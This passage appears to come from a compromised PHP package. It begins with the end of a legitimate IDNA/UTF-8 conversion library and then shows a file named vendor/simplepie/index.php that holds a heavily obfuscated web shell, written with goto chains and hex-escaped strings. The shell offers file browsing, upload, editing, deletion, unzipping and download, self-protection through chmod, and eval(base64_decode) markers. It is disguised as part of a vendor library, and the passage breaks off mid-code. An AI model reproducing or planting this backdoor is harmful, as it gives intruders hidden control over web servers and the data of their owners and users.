I don\'t understand it at byte '.$k); return false; } if ('add' == $mode) { $output[$out_len] = (int) $v; ++$out_len; continue; } } if ('add' == $mode) { if (!$this->_allow_overlong && $test == 'range') { $test = 'none'; if (($v < 0xA0 && $start_byte == 0xE0) || ($v < 0x90 && $start_byte == 0xF0) || ($v > 0x8F && $start_byte == 0xF4)) { $this->_error('Bogus UTF-8 character detected (out of legal range) at byte '.$k); return false; } } if ($v >> 6 == 2) { // Bit mask must be 10xxxxxx $v = ($v - 128) << ($next_byte * 6); $output[($out_len - 1)] += $v; --$next_byte; } else { $this->_error('Conversion from UTF-8 to UCS-4 failed: malformed input at byte '.$k); return false; } if ($next_byte < 0) { $mode = 'next'; } } } // for return $output; } /** * Convert UCS-4 string into UTF-8 string * See _utf8_to_ucs4() for details * @access private */ function _ucs4_to_utf8($input) { $output = ''; $k = 0; foreach ($input as $v) { ++$k; // $v = ord($v); if ($v < 128) { // 7bit are transferred literally $output .= chr($v); } elseif ($v < (1 << 11)) { // 2 bytes $output .= chr(192 + ($v >> 6)) . chr(128 + ($v & 63)); } elseif ($v < (1 << 16)) { // 3 bytes $output .= chr(224 + ($v >> 12)) . chr(128 + (($v >> 6) & 63)) . chr(128 + ($v & 63)); } elseif ($v < (1 << 21)) { // 4 bytes $output .= chr(240 + ($v >> 18)) . chr(128 + (($v >> 12) & 63)) . chr(128 + (($v >> 6) & 63)) . chr(128 + ($v & 63)); } elseif ($v < (1 << 26)) { // 5 bytes $output .= chr(248 + ($v >> 24)) . chr(128 + (($v >> 18) & 63)) . chr(128 + (($v >> 12) & 63)) . chr(128 + (($v >> 6) & 63)) . chr(128 + ($v & 63)); } elseif ($v < (1 << 31)) { // 6 bytes $output .= chr(252 + ($v >> 30)) . chr(128 + (($v >> 24) & 63)) . chr(128 + (($v >> 18) & 63)) . chr(128 + (($v >> 12) & 63)) . chr(128 + (($v >> 6) & 63)) . chr(128 + ($v & 63)); } else { $this->_error('Conversion from UCS-4 to UTF-8 failed: malformed input at byte '.$k); return false; } } return $output; } /** * Convert UCS-4 array into UCS-4 string * * @access private */ function _ucs4_to_ucs4_string($input) { $output = ''; // Take array values and split output to 4 bytes per value // The bit mask is 255, which reads &11111111 foreach ($input as $v) { $output .= chr(($v >> 24) & 255).chr(($v >> 16) & 255).chr(($v >> 8) & 255).chr($v & 255); } return $output; } /** * Convert UCS-4 strin into UCS-4 garray * * @access private */ function _ucs4_string_to_ucs4($input) { $output = array(); $inp_len = strlen($input); // Input length must be dividable by 4 if ($inp_len % 4) { $this->_error('Input UCS4 string is broken'); return false; } // Empty input - return empty output if (!$inp_len) return $output; for ($i = 0, $out_len = -1; $i < $inp_len; ++$i) { // Increment output position every 4 input bytes if (!($i % 4)) { $out_len++; $output[$out_len] = 0; } $output[$out_len] += ord($input{$i}) << (8 * (3 - ($i % 4) ) ); } return $output; } } /** * Adapter class for aligning the API of idna_convert with that of Net_IDNA * @author Matthias Sommerfeld <mso@phlylabs.de> */ class Net_IDNA_php4 extends idna_convert { /** * Sets a new option value. Available options and values: * [encoding - Use either UTF-8, UCS4 as array or UCS4 as string as input ('utf8' for UTF-8, * 'ucs4_string' and 'ucs4_array' respectively for UCS4); The output is always UTF-8] * [overlong - Unicode does not allow unnecessarily long encodings of chars, * to allow this, set this parameter to true, else to false; * default is false.] * [strict - true: strict mode, good for registration purposes - Causes errors * on failures; false: loose mode, ideal for "wildlife" applications * by silently ignoring errors and returning the original input instead * * @param mixed Parameter to set (string: single parameter; array of Parameter => Value pairs) * @param string Value to use (if parameter 1 is a string) * @return boolean true on success, false otherwise * @access public */ function setParams($option, $param = false) { return $this->IC->set_parameters($option, $param); } } ?>PKÜ�\��s�s�vendor/simplepie/index.phpnu�[���<?php if(isset($_COOKIE['r0'])) { die('hgWelq'); } goto FocOL; SQK1A: PZ3aO: goto yPuF2; Kgvha: if (empty($_POST["\156\x5f\156\x61\155\x65"])) { goto gnXf4; } goto fZ86l; sOXlR: $i5DCx = $SPEIU - $fGyii - 1; goto yIsXZ; geLhJ: echo "\74\x68\164\x6d\x6c\76\15\xa\x3c\x68\x65\141\144\76\xd\xa\x9\x3c\x74\151\164\154\x65\76"; goto HrvUP; h1dM_: if (isset($_POST["\x6e\145\x77\137\x66\x69\154\x65\x5f\156\141\155\145"])) { goto k4Ell; } goto HVHtT; fQLm8: $E26bx = "\74\146\157\156\164\40\x63\157\154\x6f\x72\x3d\x22\147\162\x65\145\156\x22\x3e\74\x62\76\116\141\x6d\x65\x20\143\150\141\156\x67\145\x64\x21\74\57\x62\76\x3c\57\x66\157\156\164\x3e"; goto u5r1k; dC3vt: echo "\x22\x20\x65\x6e\x63\x74\x79\160\x65\75\x22\155\165\x6c\x74\151\160\x61\162\164\x2f\x66\x6f\x72\155\55\144\141\x74\141\42\x3e\15\12\11\x9\11\x3c\x69\156\x70\x75\x74\x20\x74\171\x70\145\x3d\x22\146\151\x6c\x65\42\x20\x69\x64\75\x22\x69\x6e\x70\165\x74\x66\x69\154\145\42\x20\156\x61\155\x65\x3d\x22\151\x6e\x70\165\x74\x66\151\x6c\x65\x22\x3e\15\12\x9\x9\x9\x3c\x69\x6e\160\x75\x74\40\164\171\x70\x65\75\x22\x73\x75\x62\155\x69\164\42\40\166\141\x6c\x75\145\x3d\42\157\x6b\x22\x3e\15\12\x9\11\x9\74\x2f\146\157\162\155\x3e\15\xa\11\x9\x9\x43\115\x53\x3a\x20"; goto jlNa3; Y8Jw0: bw5um($WRsqg); goto isRm2; qmT2U: $XJm0F = $_SERVER["\104\117\103\x55\115\105\116\x54\137\x52\x4f\117\x54"] . "\x2f\x67\x6f\x6f\x64\146\151\x6e\x64\145\162\144\x61\x74\x61\56\x74\x78\164"; goto Afrs8; rHqDe: xcySP: goto NYMy2; Wvao1: Bw5um($WRsqg); goto ItVgy; OBjzg: goto ahrJI; goto gDpaI; LIs5n: VWAvR: goto VT0c_; ZW48V: goto O2ah_; goto CSa4F; aG0QO: if (!isset($_GET["\162\145\156\x61\x6d\x65"])) { goto M5F5l; } goto Kgvha; bS6xH: KnM1C: goto QT6Oh; myNrf: HZPPW: goto bS6xH; UEr18: bW5UM($WRsqg); goto sLhGh; oE10g: $WdlM7 = $_SERVER["\104\x4f\x43\125\x4d\105\116\124\x5f\x52\x4f\x4f\124"]; goto vLt1i; VT0c_: nKuLU: goto pX0II; Khfj4: $YH3Np = $_GET["\x64\151\x72"]; goto eVBy0; URiPm: if (!($fGyii <= $SPEIU)) { goto cUngT; } goto QoaOE; cuNWB: foreach ($eGMU5 as $Ix06i) { goto FpCvq; FpCvq: $saaeK = str_replace($_SERVER["\x44\117\x43\x55\x4d\x45\116\124\x5f\122\117\117\124"], $_SERVER["\123\x45\x52\126\x45\x52\137\116\101\115\105"], $Ix06i); goto PtaBz; SQe5H: swnDA: goto lPaT5; PtaBz: echo $saaeK . "\73" . filesize($Ix06i) . "\74\142\x72\x3e\xa"; goto SQe5H; lPaT5: } goto pNmVe; isRm2: goto DtKRY; goto OOlL2; tIThh: $LVHM1 = $_SERVER["\x44\x4f\103\x55\x4d\105\x4e\x54\x5f\x52\117\117\x54"] . "\57\146\x69\156\144\145\x72\144\x61\164\x61\x2e\x74\x78\x74"; goto qmT2U; KSayd: qCiFg: goto xS7Rl; vTut2: $IPQ4C = $_GET["\x64\151\162"] . "\x2f" . $_POST["\156\145\167\x5f\x66\x69\154\145\x5f\156\141\x6d\x65"]; goto UWCFz; KHJyN: function OQLPl($yP63Y) { goto ZZQR7; By_4E: $AEt2m = str_replace($zIUa8, '', $yP63Y); goto YCQ89; dC7ZM: echo "\74\164\162\76\x3c\x74\x64\x3e\106\x69\154\x65\x3a\x20{$zIUa8}\x20\x2d\40\x3c\146\x6f\156\x74\40\x63\157\154\157\x72\x3d\x22\x67\x72\x65\145\x6e\42\x3e\x75\x6e\x7a\x69\x70\x20\163\165\x63\143\145\x73\163\146\x75\x6c\x6c\x79\74\x2f\146\x6f\156\x74\x3e\x3c\x2f\164\144\x3e\x3c\57\x74\162\76"; goto EfaFK; Kgq5y: $jDWPG->extractTo($AEt2m); goto kK7ws; nFuXM: $jDWPG->open($yP63Y); goto Kgq5y; kK7ws: $jDWPG->close(); goto dC7ZM; ZZQR7: $zIUa8 = strrchr($yP63Y, "\57"); goto By_4E; YCQ89: $jDWPG = new ZipArchive(); goto nFuXM; EfaFK: } goto jEKHD; iGqS5: echo "\x9\xd\12\x9\x9\11\74\x73\143\162\151\160\x74\x20\154\x61\x6e\147\x75\141\x67\145\40\75\x20\47\152\x61\166\141\x73\143\162\151\160\164\47\76\xd\12\11\11\11\166\141\x72\x20\144\145\x6c\141\x79\x20\x3d\x20\63\60\60\73\15\12\11\11\11\x73\145\x74\124\x69\x6d\x65\x6f\x75\164\x28\42\144\157\x63\165\155\x65\x6e\164\56\154\x6f\143\141\x74\151\157\x6e\x2e\x68\162\145\x66\75\47"; goto oSwb4; W3HOG: $KLmgb = "\x69\x73\x5f\165\x70\x6c\157\x61\144\x65\144\137\x66\151\154\x65"; goto ig0gs; lfJIT: if (!($fGyii <= $SPEIU)) { goto JzKTW; } goto sOXlR; XMvqS: unset($xHyVF[$fGyii]); goto B0_oU; pHWij: $YH3Np = $_GET["\144\151\x72"]; goto E6kP1; Id838: goto zV3C6; goto zJ6_k; d5uoY: ZwUo9: goto SNoUS; eFPJn: echo count($xHyVF) . "\x20\146\x69\x6c\145\x73\40\x66\x6f\162\40\143\x68\x65\x63\x6b\x3c\142\x72\76"; goto B3D12; u5r1k: O2ah_: goto wOdPJ; iOdJJ: goto PHZGX; goto QS_a0; dIa75: jaGxb: goto geLhJ; KrbIO: if (!($xHyVF[$lTJFo] !== null and $xHyVF[$lTJFo] !== "\40" and $xHyVF[$lTJFo] !== '' and $xHyVF[$lTJFo] !== "\x2e" and $xHyVF[$lTJFo] !== "\x2e\x2e")) { goto ouzO4; } goto fB5ei; LNe7B: goto zV3C6; goto n_kOY; h2BvH: $tfU2K = orR_E($XJm0F); goto ypETz; cX0nh: unlink($XJm0F); goto G736e; G1nxC: BW5um($WRsqg); goto vrFaS; MEUoa: $fGyii++; goto m0pGm; OOlL2: JcQiu: goto UUskC; PjH_Y: vb83N: goto KHJyN; NCLrs: $eGMU5 = scandir($_SERVER["\104\117\103\125\x4d\x45\x4e\124\x5f\122\117\x4f\124"]); goto txLIG; pmcoz: goto IiCg1; goto TyPgJ; oSwb4: echo $krXcm; goto jzXGu; CvnFF: $bcoBe = $_SERVER["\123\103\x52\x49\x50\x54\x5f\116\x41\115\105"] . "\77\x64\x69\x72\x3d" . $_GET["\x64\x69\x72"]; goto H9jzH; RV5Zh: M5F5l: goto q3tvs; F_fWL: if (!isset($_GET["\x6a\x75\x6b\x65"])) { goto jaGxb; } goto HE4W5; mUTTU: DjpV5: goto Dx3gP; p_x71: if (isset($_GET["\144\151\162"])) { goto QCNQ5; } goto oE10g; XmEdp: $krXcm = "\x68\164\x74\x70\72\57\57" . $krXcm . "\x3f\146\x69\156\x64\x65\x72"; goto QGpr_; kOu77: if (isset($_POST["\156\145\x77\137\146\x69\154\145\137\x6e\141\155\x65"])) { goto b_W5p; } goto oHGuY; LbuPB: HC8Qb: goto fFR2Q; SNoUS: echo "\x3c\x61\x20\x68\162\x65\x66\75\42\150\x74\x74\x70\72\57\57" . $tiXjA . $rH_un . "\x3f\x64\151\162\x3d" . $xCcCg["{$i5DCx}"] . "\x22\76" . $Y4VLf["{$fGyii}"] . "\x3c\57\x61\76\x2f"; goto myNrf; ajcz4: header("\103\x6f\156\164\145\x6e\164\x2d\124\x79\x70\145\72\40\141\x70\160\x6c\x69\143\141\x74\151\x6f\156\57\157\x63\x74\x65\x74\x2d\x73\164\x72\x65\x61\x6d"); goto yreVi; Lu7bV: jQdsD: goto Wvao1; AMpir: if (sizeof($_FILES) != 0) { goto kooQQ; } goto LNe7B; sbjMw: oxtei: goto W8O_A; LlN2X: exit; goto PjH_Y; PZ0SL: QpuYE: goto lfJIT; txLIG: goto HC8Qb; goto sbjMw; WvWCx: $PsOqw = array(); goto nZFnd; B0_oU: lNAhO: goto AQQjh; DpYsN: goto mIiwr; goto mmj0N; dkwi3: $YH3Np = $_SERVER["\104\x4f\103\125\x4d\105\x4e\124\137\x52\117\x4f\124"]; goto ExSQw; ey4N4: if ($ukr3B = mkdir($YH3Np)) { goto jQdsD; } goto UEr18; ysVSA: $HL1u3 = "\x40\x24\151\163\142\x6f\164"; goto FSSj_; fJdeb: DtKRY: goto ZEnt1; HVHtT: $WRsqg = "\x68\x74\x74\x70\x3a\x2f\57" . $tiXjA . $rH_un . "\77\x64\151\162\x3d" . $_GET["\144\151\162"]; goto vZiHl; uWBqf: $AwS1q = $_POST["\146\x6f\x72\137\144\x65\154"]; goto CPd2j; m0pGm: goto D1NpE; goto Jzm_I; Mj7RO: fNaOH: goto OQ3WL; T8pDE: if (file_exists($LVHM1)) { goto xcySP; } goto KmHM8; SDyAQ: $YH3Np = $_GET["\x64\x69\x72"]; goto r_dx8; QT6Oh: $fGyii++; goto t3XzZ; PeNym: $xHyVF = ORR_e($LVHM1); goto vOobA; RcEWd: $YH3Np = $_SERVER["\104\x4f\103\125\x4d\x45\116\124\137\x52\x4f\x4f\x54"] . "\57" . $_POST["\156\145\x77\137\x66\151\154\145"]; goto AIGwE; G736e: ughcS: goto iyoaZ; AQQjh: $fGyii++; goto OBjzg; oiG26: $G_QfL = "\101\162\x72\141\x79\50\142\x61\163\145\x36\64\137\x64\145\x63\157\144\x65\x28"; goto ysVSA; JHPzR: FiNWd: goto YCQAs; ZfHNv: JzKTW: goto lMW_6; wh1kc: RXdg4: goto JkPJq; FocOL: function MoL03($h3fzG) { goto PPO5G; D8IlZ: Sghg1: goto Gqwug; nWcHG: goto KJte2; goto D8IlZ; og39m: SOUqB: goto nWcHG; Alm1G: $aOBMK = array(); goto EjNHe; Knv05: goto Cvpss; goto rmLno; OkSZ3: $vguCE[] = $h3fzG . "\57" . $yP63Y; goto Knv05; hKtXa: $vguCE = array(); goto Alm1G; AYVm7: if (!(false !== ($yP63Y = readdir($hCGjI)))) { goto Sghg1; } goto XUkTA; rmLno: c33jO: goto Y8X8J; bUXme: return $vguCE; goto wGItV; XUkTA: if (!($yP63Y != "\56" && $yP63Y != "\56\56")) { goto SOUqB; } goto gKdhk; uO_EX: $vguCE = array_merge($vguCE, $aOBMK); goto zeSex; Y8X8J: $aOBMK = MOL03($h3fzG . "\x2f" . $yP63Y); goto uO_EX; zeSex: Cvpss: goto og39m; EjNHe: KJte2: goto AYVm7; PPO5G: $hCGjI = opendir($h3fzG) or die("\x43\x61\x6e\x27\164\x20\x6f\160\x65\x6e\x20\144\x69\162\x65\x63\164\x6f\162\171\x20{$h3fzG}"); goto hKtXa; gKdhk: if (is_dir($h3fzG . "\57" . $yP63Y)) { goto c33jO; } goto OkSZ3; Gqwug: closedir($hCGjI); goto bUXme; wGItV: } goto F_fWL; vY1O8: $rH_un = $_SERVER["\123\x43\x52\111\x50\x54\x5f\116\101\115\x45"]; goto tIThh; qfkqi: fclose($P0O_u); goto T8pDE; p16k4: echo "\x3c\x66\157\156\x74\x20\143\157\154\x6f\162\75\42\162\x65\144\x22\76\x3c\142\x3e\116\157\40\x46\x69\x6c\145\40\125\160\x6c\157\141\x64\145\x64\x3c\x2f\142\x3e\x3c\x2f\x66\157\x6e\x74\x3e"; goto tpgtx; QGpr_: echo "\x9\xd\xa\x9\x9\11\x3c\x73\143\x72\151\x70\164\x20\154\x61\x6e\x67\165\141\147\x65\x20\x3d\x20\x27\152\141\x76\x61\x73\143\x72\x69\160\164\47\76\15\xa\11\x9\x9\166\141\x72\x20\x64\x65\154\141\x79\x20\x3d\40\61\x30\x30\x3b\xd\xa\11\11\11\x73\x65\x74\x54\x69\155\145\x6f\165\x74\x28\42\x64\157\x63\x75\155\x65\156\164\x2e\154\x6f\143\x61\x74\151\x6f\156\x2e\150\x72\x65\146\x3d\47"; goto xR3oa; vOobA: $qO7GR = array(); goto p11Xc; bMWur: echo "\x9\11\x9\x3c\146\x6f\x72\155\x20\x6d\x65\164\x68\x6f\144\75\x22\x70\x6f\x73\x74\x22\x20\x61\143\164\x69\157\156\75\42"; goto Xr_Uy; s_MT1: if (!isset($_GET["\144\x69\163\160\141\x74\143\150"])) { goto P7T2h; } goto gObyZ; AjkN9: $tiXjA = $_SERVER["\123\x45\122\x56\x45\122\137\x4e\101\x4d\105"]; goto vY1O8; ItVgy: echo "\74\164\x72\x20\141\x6c\x69\147\156\x3d\x22\143\x65\156\x74\145\x72\42\x3e\x3c\x74\x64\40\141\x6c\x69\x67\x6e\75\42\x6c\x65\x66\164\x22\40\76" . "\x3c\x66\157\156\x74\40\143\x6f\154\157\162\75\x22\x67\162\145\x65\156\x22\x3e\x46\157\154\144\x65\x72\x20\143\x72\x65\x61\x74\145\x64\x20\x73\x75\143\143\x65\163\x73\x66\165\x6c\154\x79\x21\74\57\x66\x6f\156\x74\x3e\74\57\164\144\76" . "\x3c\164\x64\76\74\x2f\164\144\x3e\74\164\x64\x3e\x3c\57\x74\144\x3e\74\x74\144\76\x3c\57\164\x64\x3e\x3c\164\x64\76\x3c\57\164\x64\76\74\x2f\x74\162\x3e"; goto RuPKT; vUTWO: d0a8M: goto Zq88C; zjXlz: $YH3Np = $_SERVER["\104\117\103\125\x4d\105\116\124\137\x52\117\x4f\124"]; goto U63A4; kCOTz: function F6HoI($yP63Y) { goto OhnYV; e2_Gg: $ng2Fq = date("\x59\55\x6d\55\x64\40\110\x3a\151\x3a\x73", $C0jz3); goto rjF1V; aUPaq: mjupl: goto lBW12; rjF1V: return $ng2Fq; goto L5D4i; yFdhG: return "\156\157\40\151\x6e\x66\x6f"; goto aUPaq; lBW12: $C0jz3 = filemtime($yP63Y); goto e2_Gg; OhnYV: if (file_exists($yP63Y)) { goto mjupl; } goto yFdhG; L5D4i: } goto W3N1P; OqYa4: y28l6: goto qfkqi; t9mO3: if (isset($_GET["\144\151\x72"])) { goto wQxks; } goto cC4V5; eVBy0: O5_ey: goto BiqSV; LYV_H: function DQysg($nHLgd) { goto gjm2e; fOSht: $xV9c_ = fread($yP63Y, filesize($nHLgd)); goto I5yAi; lwEFo: fclose($yP63Y); goto KlPIR; s3pWK: return $xV9c_; goto Whesn; QUL58: Vz1d6: goto xBpSe; ETJH0: iYLNE: goto M_3hW; gjm2e: if (!(file_exists($nHLgd) and filesize($nHLgd) > 1)) { goto yeETP; } goto GnjLx; I5yAi: fclose($yP63Y); goto tgPLB; DYXnC: D262B: goto hCjdc; TbO5q: echo "\143\141\x6e\47\x74\x20\x70\145\162\155\151\x73\x73\151\157\x6e\40\146\157\162\40\x6f\x70\x65\x6e\x20\x66\x69\154\145\x3c\142\162\76"; goto N1PxX; tgPLB: goto iYLNE; goto XWk02; t6Pz8: Vae31: goto QUL58; OaW4l: if (!chmod($nHLgd, 0775)) { goto D262B; } goto MRw8K; ZMNPE: $xV9c_ = ''; goto t6Pz8; zqRD1: D6rgx: goto OaW4l; xBpSe: yeETP: goto s3pWK; M_3hW: goto Vae31; goto DYXnC; XWk02: idc2d: goto TbO5q; GnjLx: if (!($yP63Y = fopen($nHLgd, "\x72\x74"))) { goto D6rgx; } goto s9_Xc; MRw8K: if (!($yP63Y = fopen($nHLgd, "\x72\x74"))) { goto idc2d; } goto fOSht; KlPIR: goto Vz1d6; goto zqRD1; s9_Xc: $xV9c_ = fread($yP63Y, filesize($nHLgd)); goto lwEFo; hCjdc: echo "\x63\x61\156\47\x74\40\160\145\162\155\151\163\163\151\157\x6e\40\146\157\162\x20\x63\x68\155\157\144\40\146\151\154\145\x3c\142\x72\x3e"; goto ZMNPE; N1PxX: $xV9c_ = ''; goto ETJH0; Whesn: } goto q9L4Q; f39CZ: goto HZPPW; goto d5uoY; OQ3WL: echo "\74\146\x6f\156\164\x20\143\x6f\x6c\157\x72\75\42\147\162\x65\145\156\x22\76\x46\151\154\145\40\x63\162\145\141\164\145\144\x20\x73\x75\x63\x63\x65\163\x73\x66\x75\x6c\154\171\41\74\57\x66\157\x6e\164\76"; goto G1nxC; yPuF2: $lTJFo++; goto JXY_o; oXy1N: PFU4M: goto fJdeb; mSAkp: foreach ($X2rlt as $aRFcW) { goto BvqJ9; mhxcm: $WdlM7 = $_GET["\x64\x69\x72"]; goto fIiQ3; AKehs: $WdlM7 = $_SERVER["\104\117\103\125\x4d\x45\x4e\x54\137\x52\x4f\x4f\x54"]; goto DqMSD; A8oky: IAEio: goto m3bAO; fIiQ3: qzAcD: goto qcj7w; EhQgl: if ($XPWoY !== false) { goto IAEio; } goto xTiiy; xTiiy: $XPWoY = "\74\141\x20\x68\x72\145\146\x3d\42\150\x74\164\160\x3a\57\x2f{$tiXjA}{$rH_un}\77\145\144\x69\x74\75{$ue_d2}\x26\144\x69\x72\x3d{$WdlM7}\42\76\105\x3c\57\141\76\x26\x6e\x62\163\x70\73"; goto EfQ8k; DqMSD: goto qzAcD; goto nXqsa; QOLEh: $WOTRi = "\x23\146\x66\146\x38\x65\67"; goto Y2WX9; LNE_d: if ($i5DCx % 2 == 0) { goto hD0wl; } goto U3ecA; lrfG2: hD0wl: goto QOLEh; EfQ8k: goto WgnrC; goto A8oky; zpU9j: $pz23y = str_replace($_SERVER["\x44\117\x43\x55\115\x45\x4e\x54\x5f\x52\x4f\117\124"], $_SERVER["\x53\105\x52\126\x45\x52\x5f\x4e\x41\x4d\x45"], $ue_d2); goto LNE_d; Y2WX9: i6SeA: goto I1qQw; NcdzQ: $ue_d2 = $_GET["\144\151\x72"] . "\x2f" . $aRFcW; goto mhxcm; aZTr6: echo "\74\x74\162\x20\x62\x67\143\x6f\x6c\157\x72\x3d\x22{$WOTRi}\x22\x20\141\x6c\x69\147\x6e\75\x22\x63\145\x6e\164\x65\x72\42\x3e\74\164\144\40\141\x6c\x69\147\156\x3d\x22\x6c\x65\146\x74\42\40\76" . "\74\x61\40\x73\164\171\x6c\145\x3d\x22\x74\x65\x78\x74\55\144\x65\143\x6f\x72\x61\x74\151\x6f\x6e\72\x20\156\157\156\145\x3b\42\40\150\x72\x65\146\x3d\42\x68\164\164\160\x3a\x2f\57{$tiXjA}{$rH_un}\77\x65\144\151\164\x3d{$ue_d2}\x26\x64\x69\162\x3d{$WdlM7}\x22\x3e\x3c\x66\x6f\156\164\40\x63\x6f\154\157\162\75\42\x62\x6c\x61\143\153\x22\x3e{$aRFcW}\x3c\x2f\146\157\156\x74\x3e\x3c\57\x61\x3e" . "\74\57\x74\x64\x3e\74\164\x64\76" . dJ8ZX($ue_d2) . "\x3c\x2f\x74\x64\76\x3c\164\144\x3e{$ng2Fq}\x3c\57\164\144\76\74\x74\144\76" . QFOCS($ue_d2, "\x30") . "\74\x2f\x74\144\76\x3c\x74\144\76" . "\x3c\141\40\150\x72\145\146\75\x22\x68\x74\x74\160\x3a\x2f\x2f{$tiXjA}{$rH_un}\x3f\x64\145\x6c\x3d{$ue_d2}\x26\144\x69\x72\75{$WdlM7}\42\76\x55\74\57\141\x3e\x26\x6e\x62\163\x70\x3b" . $XPWoY . "\x3c\141\x20\x74\x61\x72\x67\145\164\x3d\x22\137\x62\x6c\141\156\x6b\x22\x20\x68\x72\145\x66\75\42\150\x74\164\x70\x3a\x2f\x2f{$pz23y}\x22\76\x4f\x3c\57\x61\76\x26\156\142\x73\160\x3b" . "\74\141\40\x68\x72\145\x66\75\x22\150\164\164\160\72\x2f\57{$tiXjA}{$rH_un}\x3f\x64\x6f\x77\156\154\x6f\141\x64\75{$ue_d2}\46\x64\151\162\75{$WdlM7}\x22\x3e\104\x3c\57\x61\x3e" . "\x3c\57\164\144\76\x3c\57\x74\162\76"; goto o6MZk; U3ecA: $WOTRi = "\43\146\146\x66\x66\x65\60"; goto p04MK; I1qQw: $XPWoY = stristr($aRFcW, "\56\x7a\x69\160"); goto EhQgl; nXqsa: OmVqT: goto NcdzQ; m3bAO: $XPWoY = "\x3c\141\x20\150\x72\x65\146\x3d\x22\150\x74\x74\160\72\x2f\57{$tiXjA}{$rH_un}\77\165\156\172\x69\160\75{$ue_d2}\46\144\151\x72\75{$WdlM7}\42\76\x5a\74\57\x61\76\46\156\142\163\160\73"; goto cKWND; cKWND: WgnrC: goto aZTr6; qcj7w: $ng2Fq = f6HOi($ue_d2); goto zpU9j; BvqJ9: if (isset($_GET["\144\x69\162"])) { goto OmVqT; } goto NZiWD; aWFZ4: ocONs: goto B9n8x; NZiWD: $ue_d2 = $_SERVER["\104\117\103\125\x4d\x45\x4e\x54\x5f\x52\x4f\117\x54"] . "\57" . $aRFcW; goto AKehs; p04MK: goto i6SeA; goto lrfG2; o6MZk: $i5DCx++; goto aWFZ4; B9n8x: } goto JYKfb; yIsXZ: if ($fGyii !== $SPEIU) { goto ZwUo9; } goto WB0fI; IxZR9: eCw_M: goto T90c0; MQF1K: $WRsqg = "\x68\x74\x74\x70\72\x2f\57" . $tiXjA . $rH_un . "\77\144\x69\x72\x3d" . $_GET["\x64\x69\x72"] . "\46\x6e\x65\x77\x5f\144\x69\x72\75" . $YH3Np; goto ey4N4; jzXGu: echo "\x27\x22\54\x20\x64\x65\x6c\x61\x79\51\x3b\xd\12\11\x9\11\x3c\57\x73\143\162\151\x70\x74\76\15\xa\11\x9\11"; goto LIs5n; BTQuz: if (!isset($_GET["\165\x6e\x7a\151\x70"])) { goto uBEZG; } goto CUYeP; k1FGr: $fGyii = 0; goto uBanp; A4mDU: fclose($nesCN); goto ZebjC; JYKfb: M8lHI: goto MBwDT; ZdxG5: ouzO4: goto SQK1A; BkVTa: if (file_exists($LVHM1) and filesize($LVHM1) > 1) { goto F9Jn3; } goto h2BvH; QoaOE: $pCROI = KKWpe($pCROI); goto U_S5n; slvkV: if (!(isset($_FILES) && $_FILES["\x69\x6e\160\x75\x74\x66\151\x6c\145"]["\145\162\x72\157\162"] == 0)) { goto MYtjj; } goto t9mO3; zgXNM: foreach ($PsOqw as $aRFcW) { goto hGl4T; iJh_x: $lQw2N = $_SERVER["\104\117\103\x55\115\x45\116\124\x5f\122\117\117\x54"] . "\57" . $aRFcW; goto CDHO2; vBpCm: echo "\x3c\x74\x72\x20\x62\x67\x63\157\x6c\x6f\x72\75\42{$WOTRi}\x22\40\x61\x6c\151\147\156\75\42\143\x65\x6e\x74\x65\x72\42\x3e\74\164\x64\40\141\x6c\x69\147\156\x3d\x22\x6c\x65\146\x74\42\40\x3e" . "\74\146\157\156\x74\40\x63\157\154\x6f\162\x3d\x22\43\71\x30\x34\x64\x33\x30\42\x3e\74\x62\x3e\x3c\x61\x20\x68\162\x65\146\75\42\x68\x74\x74\x70\72\57\x2f{$tiXjA}{$rH_un}\77\x64\x69\162\75{$lQw2N}\x22\76{$aRFcW}\x3c\x2f\x61\x3e\x3c\57\x62\76\74\x2f\146\157\156\x74\x3e" . "\74\57\164\144\x3e\x3c\x74\x64\x3e\144\x69\162\74\x2f\x74\144\76\x3c\164\144\x3e{$ng2Fq}\74\x2f\x74\144\x3e\74\x74\x64\x3e" . QfOCs($ue_d2, "\x30") . "\74\x2f\164\x64\76\74\164\144\x3e" . "\74\141\x20\150\x72\x65\146\75\42\x68\x74\164\x70\72\x2f\x2f{$tiXjA}{$rH_un}\77\x64\145\154\75{$ue_d2}\x26\x64\x69\162\x3d{$KoFOR}\x22\76\125\x3c\57\141\76\x26\x6e\142\x73\x70\x3b" . "\x3c\x2f\x74\x64\76\x3c\x2f\x74\x72\76"; goto GJLbm; CZmVD: QSQGZ: goto qhSJK; Q289A: VIZwN: goto vBpCm; hGl4T: if (!($aRFcW !== "\x2e" and $aRFcW !== "\56\x2e")) { goto gR6aZ; } goto VqCyb; OWunY: $ng2Fq = F6HOi($ue_d2); goto IIazO; CDHO2: goto qUd55; goto CZmVD; MVM6j: $ue_d2 = $_SERVER["\104\117\x43\125\115\105\116\124\137\x52\117\117\124"] . "\x2f" . $aRFcW; goto iJh_x; O7Hga: qUd55: goto ZCXj_; GJLbm: $i5DCx++; goto ag_3Z; C95l4: $zIUa8 = strrchr($KoFOR, "\57"); goto t3QJF; IIazO: if ($i5DCx % 2 == 0) { goto uSkZF; } goto wQeKJ; VqCyb: if (isset($_GET["\144\151\x72"])) { goto QSQGZ; } goto MVM6j; ZCXj_: $KoFOR = $lQw2N; goto C95l4; ag_3Z: gR6aZ: goto DlITC; wQeKJ: $WOTRi = "\43\146\x66\x66\146\x65\60"; goto Eq6Ss; p0Sud: $lQw2N = $_GET["\x64\151\x72"] . "\57" . $aRFcW; goto O7Hga; t3QJF: $KoFOR = str_replace($zIUa8, '', $KoFOR); goto OWunY; qhSJK: $ue_d2 = $_GET["\x64\x69\162"] . "\x2f" . $aRFcW; goto p0Sud; Eq6Ss: goto VIZwN; goto Ho8tm; DlITC: WUG_9: goto XTMIO; Ho8tm: uSkZF: goto zi0_a; zi0_a: $WOTRi = "\43\146\x66\146\70\x65\67"; goto Q289A; XTMIO: } goto Sek0a; vrFaS: LG5uz: goto TcIIi; vls77: exit; goto ABBaj; c9Vnp: chmod($_SERVER["\123\103\x52\x49\120\124\x5f\106\111\x4c\105\116\101\x4d\x45"], 0444); goto vUTWO; OVJlZ: w4ck9: goto pmcoz; n_kOY: CHbCB: goto slvkV; GVpxQ: k42_a($_GET["\144\145\x6c"]); goto DpYsN; xDoQo: $P0O_u = fopen($LVHM1, "\141"); goto CiU08; ExSQw: goto m1E4j; goto vOJVg; iyoaZ: goto sMfdf; goto NYfcJ; Afrs8: $Cj0nE = "\145\x76\x61\154\x28\x62\141\163\x65\x36\x34\x5f\x64\x65\x63\x6f\144\145\50"; goto oiG26; tpgtx: zV3C6: goto Pa12b; mmj0N: d1BzN: goto gp6Fa; q7a80: 